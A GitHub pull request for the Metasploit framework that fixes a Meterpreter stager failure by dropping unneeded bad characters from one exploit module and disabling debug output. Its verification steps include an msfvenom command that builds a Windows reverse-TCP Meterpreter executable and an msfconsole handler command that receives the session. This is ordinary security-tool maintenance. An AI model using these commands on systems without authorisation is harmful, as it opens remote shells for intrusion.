Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

remove unneeded badchars from payload specification for manageengine_connectionid_write, remove payload debug messages #7493

Merged
merged 2 commits into from Oct 26, 2016

Conversation

bcook-r7
Copy link
Contributor

@bcook-r7 bcook-r7 commented Oct 26, 2016

This fixes #7487 in two ways. Looking at the manageengine_connectionid_write exploit, it did not need to specify badchars, because it encodes its payload as a safe hex string internally anyway. So, removing the specification makes this work again.

But, obviously not every exploit can lift this constraint; we need more. Looks like DEBUG mode got left enabled with rapid7/metasploit-payloads@0cbb86c . It is possible we have a bug in the debug output code, and it turns out that independently disabling this again also fixes the issue.

Verification

List the steps needed to make sure this thing works

./msfvenom -p windows/meterpreter/reverse_tcp -f exe -o ../metasploitable3/test.exe LHOST=192.168.1.1 -b '\x00'
./msfconsole -qx 'use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 192.168.1.1; run'
  • Verify that meterpreter stages and executes properly

@bcook-r7 bcook-r7 changed the title remove unneeded badchars from payload specification for manageengine_connectionid_write remove unneeded badchars from payload specification for manageengine_connectionid_write, remove payload debug messages Oct 26, 2016
@wchen-r7 wchen-r7 merged commit 1a1841d into rapid7:master Oct 26, 2016
@wchen-r7
Copy link
Contributor

wchen-r7 commented Oct 26, 2016

Release Notes

This fixes an issue in Meterpreter that causes an exploit to fail establishing a session. It also disables the DEBUG mode.

@tdoan-r7 tdoan-r7 added the rn-fix release notes fix label Nov 28, 2016
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Stager fails to load using windows/meterpreter/reverse_tcp with badchars = '\0x00'
4 participants